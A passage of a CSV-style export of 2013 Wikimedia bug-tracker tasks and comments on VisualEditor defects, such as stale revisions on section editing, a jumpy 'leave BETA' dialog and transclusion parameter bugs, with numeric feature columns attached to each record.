Post-edit notification using wikitext (source) editor on test.wikipedia.org

**Attached**: {F11760}"
251524,Unify post-edit notifications on Wikimedia wikis,"Created attachment 12738
Post-edit notification using VisualEditor on test.wikipedia.org, 2013-07-03

**Attached**: {F11759}",,,1372833765,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-zr2hewhivqrgrbnvcapd,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.107142857142857,0.8214285714285714,"Created attachment 12738
Post-edit notification using VisualEditor on test.wikipedia.org, 2013-07-03

**Attached**: {F11759}"
52637,VisualEditor: Still dirty refs?,"There seem to be several dirty ref sections in this diff:

https://en.wikipedia.org/w/index.php?title=God_of_War_%28series%29&diff=prev&oldid=562631132

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372827600,1379613746.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-odieilz34gnzoz67vumw,task_description,resolved,True,c1,3,True,False,True,0,,3.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,0.65625,"There seem to be several dirty ref sections in this diff:

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
251265,VisualEditor: Still dirty refs?,"

*** This bug has been marked as a duplicate of bug 48570 ***",,,1379613746,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-odieilz34gnzoz67vumw,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 48570 ***"
52627,VisualEditor: Transclusion dialog does not handle missing parameter name,"To reproduce

1. Click puzzle piece
2. Type cn ([[Template:cn]] redirecting to [[Template:Citation needed]])
3. Press enter twice.

(I was experimenting see if there is a quick way to get out of the template dialog; this would be useful for templates like Template:cn that are commonly added without parameters).

4. Type 'foo'
5. Click 'Apply changes'
6. It shows 'Template:Fooifsubst'
7. Code is generated as '{{Cn| = foo}'

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372810140,1385375541.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-u7bebesywdz3nbtymuyr,task_description,resolved,True,c1,3,True,False,False,0,,0.0,0.0,0.0,1.5,0.0,2.5,0.5,0.0,0.0,0.5,0.5,6.0,0.0,0.0,0.5,0.5,1.0,1.0,5.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,3.0,1.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,9.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,3.0,12.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,4.5,1.0,3.0,0.0,1.0,5.5,4.0,0.0,6.0,0.0,1.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,5.0,3.2437445127304656,0.6661545215100966,"To reproduce

1. Click puzzle piece
2. Type cn ([[Template:cn]] redirecting to [[Template:Citation needed]])
3. Press enter twice.

(I was experimenting see if there is a quick way to get out of the template dialog; this would be useful for templates like Template:cn that are commonly added without parameters).

4. Type 'foo'
5. Click 'Apply changes'
6. It shows 'Template:Fooifsubst'
7. Code is generated as '{{Cn| = foo}'

--------------------------
**Version**: unspecified
**Severity**: normal"
250425,VisualEditor: Transclusion dialog does not handle missing parameter name,This was fixed quite some time ago; many apologies for being so slow to reply.,,,1385375541,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-u7bebesywdz3nbtymuyr,task_subcomment,,True,c1,3,True,,,21,,12.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,12.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.764705882352941,1.0,This was fixed quite some time ago; many apologies for being so slow to reply.
250423,VisualEditor: Transclusion dialog does not handle missing parameter name,"Upon re-opening it, though, it shows part_0/.",,,1372811272,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-u7bebesywdz3nbtymuyr,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,3.5454545454545454,0.8181818181818182,"Upon re-opening it, though, it shows part_0/."
250420,VisualEditor: Transclusion dialog does not handle missing parameter name,I forgot to add: It shows part_1/ on the left where the parameter names go.,,,1372810279,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-u7bebesywdz3nbtymuyr,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,12.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.588235294117647,0.9411764705882353,I forgot to add: It shows part_1/ on the left where the parameter names go.
52602,"VisualEditor ""leave BETA"" dialogue jumps around, making leave hard/impossible","**Author:** `wikipedia`

**Description:**
To reproduce:

1. http://en.wikipedia.org/wiki/High_Speed_2?veaction=edit&vesection=6
2. Wait, hopefully the VisualEditor loads, and does not hang
3. Click ""BETA""
4. Click Leave.
5. Try to type in this dialogue box

What happens:

6. The window scrolls around with each and every keypress.
7. The Leave BETA dialogue is very hard to complete.

What should happen:

6. The window should not scroll
7. The process of leaving should be easy and reliable.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372794540,1373152861.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-3nmcqmdcnvrslmvnpgyx,task_description,resolved,True,c1,3,False,False,True,0,,1.5,0.0,1.0,0.0,1.5,4.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,4.5,0.0,2.0,2.5,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,0.0,0.0,8.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.5,1.5,13.0,0.0,2.0,5.5,0.0,0.0,0.0,0.0,6.0,0.0,2.5,0.0,0.0,4.5,4.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,3.5,3.331818181818182,0.6334498834498834,"**Author:** CODE

**Description:**
To reproduce:

1. URL
2. Wait, hopefully the VisualEditor loads, and does not hang
3. Click ""BETA""
4. Click Leave.
5. Try to type in this dialogue box

What happens:

6. The window scrolls around with each and every keypress.
7. The Leave BETA dialogue is very hard to complete.

What should happen:

6. The window should not scroll
7. The process of leaving should be easy and reliable.

--------------------------
**Version**: unspecified
**Severity**: normal"
249151,"VisualEditor ""leave BETA"" dialogue jumps around, making leave hard/impossible","Sorry about this bug; we fixed it a few days ago and deployed it to the servers - merging with that report.

*** This bug has been marked as a duplicate of bug 50538 ***",,,1373152861,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3nmcqmdcnvrslmvnpgyx,task_subcomment,,True,c1,3,True,,,0,,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.238095238095238,0.7857142857142857,"Sorry about this bug; we fixed it a few days ago and deployed it to the servers - merging with that report.

*** This bug has been marked as a duplicate of bug 50538 ***"
249142,"VisualEditor ""leave BETA"" dialogue jumps around, making leave hard/impossible","**wikipedia** wrote:

Video of VisualEditor jumping around while typing in Leave dialogue.

Third attempt at video attachment of issue (failed on creation).  Truncated with 'dd if=visual-editor-madness.ogv of=visual-editor-madness-10240kB.ogv bs=1k count=9999'

**Attached**: {F11691}",,,1372795186,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3nmcqmdcnvrslmvnpgyx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,2.0,3.953846153846154,0.6923076923076923,"**wikipedia** wrote:

Video of VisualEditor jumping around while typing in Leave dialogue.

Third attempt at video attachment of issue (failed on creation).  Truncated with 'dd if=visual-editor-madness.ogv of=visual-editor-madness-10240kB.ogv bs=1k count=9999'

**Attached**: {F11691}"
52596,Editing sections one at a time results in editing old revisions,"When editing a section with VisualEditor the page loads and saves just fine.  However, if you next edit a different section *without refreshing the page*, VisualEditor does not recognize the version of the page you just saved as what you are editing and loads the last revision and warns you that you are editing an old revision.  This occurs in Chrome and Firefox using Windows 7 as I've tested it.

From https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Editing_section_results_in_dirty_page_cache_--_have_to_reload_page_before_doing_additional_edits

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372788540,1373155391.0,PHID-USER-fwlidikyeorzj35hufwu,False,,False,PHID-TASK-nptn4dym6znmjhge2meh,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.5,5.0,0.0,0.0,0.0,0.5,3.0,1.0,0.0,0.0,0.0,1.0,0.5,3.0,6.5,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,1.0,7.0,0.5,1.0,1.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,0.0,0.0,4.5,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,4.5,1.5,11.0,2.0,3.0,5.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,5.5,6.5,4.0,0.0,0.0,0.0,5.5,0.0,1.0,2.0,0.0,3.5,0.0,0.0,0.0,4.067058823529411,0.6933333333333334,"When editing a section with VisualEditor the page loads and saves just fine.  However, if you next edit a different section *without refreshing the page*, VisualEditor does not recognize the version of the page you just saved as what you are editing and loads the last revision and warns you that you are editing an old revision.  This occurs in Chrome and Firefox using Windows 7 as I've tested it.

From URL

--------------------------
**Version**: unspecified
**Severity**: normal"
248685,Editing sections one at a time results in editing old revisions,"This is a really irritating bug, yes; sorry about this - merging with the wider report at bug 50441.

*** This bug has been marked as a duplicate of bug 50441 ***",,,1373155391,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nptn4dym6znmjhge2meh,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,5.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,2.0,0.0,0.0,3.3,0.725,"This is a really irritating bug, yes; sorry about this - merging with the wider report at bug 50441.

*** This bug has been marked as a duplicate of bug 50441 ***"
248679,Editing sections one at a time results in editing old revisions,"New editors are likely to edit a page, save it, have an afterthought, see this message, and panic. It just keeps on happening: experienced editors know the work-round (hit ""refresh"").

Until the problem is fixed, could the error message in that pink box be amended to include ""Please click ""Cancel"" to close the editor, then reload/refresh the page, then try again. We apologise for this temporary problem and are working on a solution.""?",,,1372922278,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-nptn4dym6znmjhge2meh,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,6.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,3.0,8.0,2.0,1.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.707070707070707,0.6868686868686869,"New editors are likely to edit a page, save it, have an afterthought, see this message, and panic. It just keeps on happening: experienced editors know the work-round (hit ""refresh"").

Until the problem is fixed, could the error message in that pink box be amended to include ""Please click ""Cancel"" to close the editor, then reload/refresh the page, then try again. We apologise for this temporary problem and are working on a solution.""?"
248672,Editing sections one at a time results in editing old revisions,"It's not just after section editing: see many reports on feedback page. I edit a page in VE, save page, have an afterthought, reopen in VE, get told it's an old revision. Then cancel VE, refresh page, reopen VE, no problem. But shouldn't need to do that refresh.",,,1372840608,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-nptn4dym6znmjhge2meh,task_subcomment,,True,c1,3,False,,,0,,2.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,13.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,5.0,8.0,6.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.4126984126984126,0.6825396825396826,"It's not just after section editing: see many reports on feedback page. I edit a page in VE, save page, have an afterthought, reopen in VE, get told it's an old revision. Then cancel VE, refresh page, reopen VE, no problem. But shouldn't need to do that refresh."
52592,"Can ""edit section"" be restricted to only open the single section?","Not sure if this is possible, but a user raises concerns about the behavior of VE opening the whole page for editing instead of editing specific sections, given that it increases the load time.

See:
http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=562566677#edit_one_section_only

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372783680,1372793232.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-3mzdvk7doccla2cgipwj,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,10.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,4.033333333333333,0.7166666666666667,"Not sure if this is possible, but a user raises concerns about the behavior of VE opening the whole page for editing instead of editing specific sections, given that it increases the load time.

See:
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
248485,"Can ""edit section"" be restricted to only open the single section?","Looks like it, yes!

%%%*** This bug has been marked as a duplicate of bug 48429 ***%%%",,,1372793232,,PHID-USER-gfaq55vdypjmzz6nl2kn,True,,,PHID-TASK-3mzdvk7doccla2cgipwj,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,23.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.4,0.6333333333333333,"Looks like it, yes!

%%%*** This bug has been marked as a duplicate of bug 48429 ***%%%"
248478,"Can ""edit section"" be restricted to only open the single section?",Is this a dupe of bug 48429?,,,1372791768,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-3mzdvk7doccla2cgipwj,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.75,1.0,Is this a dupe of bug 48429?
248471,"Can ""edit section"" be restricted to only open the single section?","It also means that more bandwidth is consumed than the user asked for, which could be a problem in some cases (particularly on slow connections).

On busy pages it is likely to lead to more edit conflicts, due to increased load times and encouragement to edit multiple sections.",,,1372791083,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-3mzdvk7doccla2cgipwj,task_subcomment,,True,c1,3,False,,,0,,2.0,0.0,0.0,2.0,0.0,13.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,15.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,4.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,18.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,4.218181818181818,0.8545454545454545,"It also means that more bandwidth is consumed than the user asked for, which could be a problem in some cases (particularly on slow connections).

On busy pages it is likely to lead to more edit conflicts, due to increased load times and encouragement to edit multiple sections."
248465,"Can ""edit section"" be restricted to only open the single section?","Note that this constitutes the interface basically lying about what it's going to do, hence its disconcerting nature.",,,1372789295,,PHID-USER-gfaq55vdypjmzz6nl2kn,True,,,PHID-TASK-3mzdvk7doccla2cgipwj,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,4.761904761904762,1.0,"Note that this constitutes the interface basically lying about what it's going to do, hence its disconcerting nature."
248459,"Can ""edit section"" be restricted to only open the single section?","**wikipedia** wrote:

To reproduce:

1. Visit a page, eg. http://en.wikipedia.org/wiki/High_Speed_2#Legal_challenges
2. Hover over the section ""[ edit ]""
3. Expands to ""[ edit | edit source ]"" (both with equivalent URLs)
4. Observe that the link is: http://en.wikipedia.org/wiki/High_Speed_2?veaction=edit&vesection=6
5. Click the link.

What happens:

6. The page jumps
7. The page freezes
8. The page is partially whited-out
9. (If it happens to complete loading).  A massive toolbar obscures where the cursor was.

What should happen:

6. The page should remain exactly where it was, it should not move
7. The page should remain interactive
8. The page should remain readable
9. The editor (visual or textedit) should correspond to only that section.",,,1372784238,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-3mzdvk7doccla2cgipwj,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.5,0.5,3.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5,5.0,0.0,1.5,3.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.5,2.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,12.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,2.5,10.5,2.5,0.5,8.0,0.0,0.0,0.0,0.0,6.0,0.0,5.0,0.0,2.0,5.0,2.5,0.0,2.0,0.0,2.0,0.0,2.5,1.0,0.0,0.5,0.0,0.0,2.0,3.1489740082079343,0.5848153214774282,"**wikipedia** wrote:

To reproduce:

1. Visit a page, eg. URL
2. Hover over the section ""[ edit ]""
3. Expands to ""[ edit | edit source ]"" (both with equivalent URLs)
4. Observe that the link is: URL
5. Click the link.

What happens:

6. The page jumps
7. The page freezes
8. The page is partially whited-out
9. (If it happens to complete loading).  A massive toolbar obscures where the cursor was.

What should happen:

6. The page should remain exactly where it was, it should not move
7. The page should remain interactive
8. The page should remain readable
9. The editor (visual or textedit) should correspond to only that section."
52581,VisualEditor: warn on markup.,"Similar to bugs 50093 and 50527; users need to be warned when they're using markup in the VE. This is a source of a pretty large amount of corruption on enwiki, and I'm not sure how sustainable the community's patience for that is.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372768500,1372859187.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-k3ijb4t7vtqm2fvl7dqa,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,1.0,1.0,9.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,6.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,4.0,9.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,3.838235294117647,0.7647058823529411,"Similar to bugs 50093 and 50527; users need to be warned when they're using markup in the VE. This is a source of a pretty large amount of corruption on enwiki, and I'm not sure how sustainable the community's patience for that is.

--------------------------
**Version**: unspecified
**Severity**: normal"
247782,VisualEditor: warn on markup.,"

